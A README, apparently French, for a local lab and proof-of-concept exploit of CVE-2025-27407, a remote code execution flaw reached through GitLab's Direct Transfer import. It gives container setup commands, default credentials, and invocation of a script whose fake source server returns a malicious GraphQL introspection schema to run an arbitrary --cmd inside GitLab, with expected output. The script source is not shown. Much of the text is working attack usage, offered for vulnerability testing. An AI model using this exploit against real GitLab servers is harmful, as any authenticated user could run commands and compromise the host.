
Laboratoire local et preuve de concept d'exploit pour CVE-2025-27407, ciblant le chargeur de schéma d'introspection GraphQL de GitLab via le chemin HTTP Direct Transfer. Inclut un environnement conteneurisé et un script de déclenchement automatisé.
Laboratoire local minimaliste pour prouver que le chemin HTTP de Transfert Direct de GitLab atteint le chargeur de schéma d'introspection vulnérable graphql-ruby. Le laboratoire exécute un conteneur GitLab CE vulnérable ; le script PoC démarre son serveur source GitLab factice en processus uniquement pendant les tests.
Exécutez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à tester.
| Fichier | Objectif |
|---|
lab.sh | Démarre, attend, vérifie et nettoie le laboratoire GitLab. |
poc_host_port_cmd.py | PoC unique : serveur source factice + déclencheur de connexion/configuration/import GitLab. |
podmancurlValeurs par défaut :
| Élément | Valeur par défaut |
|---|---|
| Image GitLab | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
| Conteneur GitLab | cve-27407-gitlab |
| Réseau Podman | cve-2025-27407-net |
| Utilisateur root GitLab | root |
| Mot de passe root GitLab | Cve27407Password! |
| Marqueur | /tmp/cve_2025_27407_gitlab_marker |
Le port 8080 est le défaut du script. S'il est déjà utilisé, utilisez 18080 comme indiqué ci-dessous.
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py
GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up
Ouvrir GitLab à :
http://127.0.0.1:18080
Identifiants de connexion :
root / Cve27407Password!
root n'est que l'utilisateur par défaut du laboratoire. Le déclencheur PoC ne nécessite pas de compte administrateur ; tout utilisateur authentifié pouvant créer/importer dans un espace de noms de destination peut atteindre le chemin vulnérable de Transfert Direct. Utilisez --username et --password pour tester avec un utilisateur non administrateur.
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"
./poc_host_port_cmd.py \
--host 127.0.0.1 \
--port 18080 \
--listen-port 8001 \
--wait-seconds 120 \
--cmd "touch $MARKER"
MARKER="$MARKER" ./lab.sh verify
Signaux attendus :
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container
| Option | Objectif | Valeur par défaut |
|---|---|---|
--host | Hôte GitLab cible | Requis |
--port | Port HTTP GitLab cible | Requis |
--cmd | Commande exécutée dans l'environnement GitLab | touch /tmp/cve_2025_27407_gitlab_marker |
--listen-port | Port local du serveur source factice | 8001 |
--wait-seconds | Temps de maintien du serveur source factice pour les workers asynchrones GitLab | 90 |
--username | Nom d'utilisateur GitLab | root |
--password | Mot de passe GitLab | Cve27407Password! |
| Variable | Objectif | Valeur par défaut |
|---|---|---|
GITLAB_HTTP_PORT | Port HTTP GitLab de l'hôte/conteneur | 8080 |
GITLAB_SSH_PORT | Port SSH GitLab de l'hôte | 2224 |
GITLAB_ROOT_PASSWORD | Mot de passe root initial | Cve27407Password! |
GITLAB_IMAGE | Image GitLab à exécuter | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
NETWORK | Nom du réseau Podman | cve-2025-27407-net |
MARKER | Fichier vérifié dans le conteneur GitLab | /tmp/cve_2025_27407_gitlab_marker |
TIMEOUT_SECONDS | Délai d'attente de disponibilité | 1200 |
8080 est occupé, utilisez GITLAB_HTTP_PORT=18080 pour ./lab.sh up.--listen-port pour un port inutilisé.--wait-seconds ou réexécutez MARKER="$MARKER" ./lab.sh verify.GITLAB_HTTP_PORT=18080 ./lab.sh wait../lab.sh cleanup et recommencez../lab.sh cleanup
Cela supprime le conteneur GitLab, tout conteneur source factice hérité des anciennes versions du laboratoire, et le réseau du laboratoire. Cela ne supprime pas les images Podman téléchargées.